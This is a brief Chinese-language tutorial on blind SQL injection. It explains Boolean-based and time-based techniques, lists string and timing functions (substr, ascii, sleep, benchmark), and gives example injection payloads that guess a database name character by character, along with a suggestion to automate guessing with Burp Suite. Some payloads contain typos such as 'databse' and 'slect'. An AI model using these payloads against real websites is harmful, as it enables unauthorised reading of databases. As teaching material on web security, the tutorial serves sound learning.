盲注

盲注

一、适用场景

  • 没有回显的时候

二、Boolean型盲注

  • Boolean是基于真假的判断,不管输入什么,结果都只返回真或假两种情况。Boolean型盲注的关键在于通过表达式结果与已知值进行逐个对比,根据对比结果判断正确与否。
  • 盲注有时候需要一个一个字符猜,因此一些字符串操作的函数经常被应用到

    length():返回查询字符串长度
    mid(column_name,start,length):截取字符串
    substr(string,start,length):截取字符串
    Left(string,n):截取字符串
    ORD():返回字符的ASCII码
    ASCII():返回字符的ASCII码

    例如:

    1 and length(database())=5                先盲注猜长度
    1 and substr(databse(),2,1)='e'--+        如果正确响应结果,说明数据可名的第二个字符是e
    1 and (slect substr (database(),1,1)='l') 可以使用select构造复杂sql语句
  • 使用burpsuite进行遍历,可以获取正确信息

三、时间型盲注

  • Boolean盲注还是能通过页面返回的对错来判断,当页面任何信息都不返回的时候,就需要使用时间盲注。
  • 时间盲注是在布尔盲注的基础上,首先经过真假的判断,然后在真假判断上添加时间的判断。
  • 时间盲注所需要函数大多与布尔盲注相同。
length():返回查询字符串长度
mid(column_name,start,length):截取字符串
substr(string,start,length):截取字符串
Left(string,n):截取字符串
ORD():返回字符的ASCII码
ASCII():返回字符的ASCII码

if():逻辑判断
sleep():控制时间
benchmark():控制时间

例如:

1 and if(length(database())=5,sleep(3),1)           若数据库名长度为5则页面响应时间大于3秒
1 and (select benchmark(50000000,(select username from user limit 1)))
上一篇
下一篇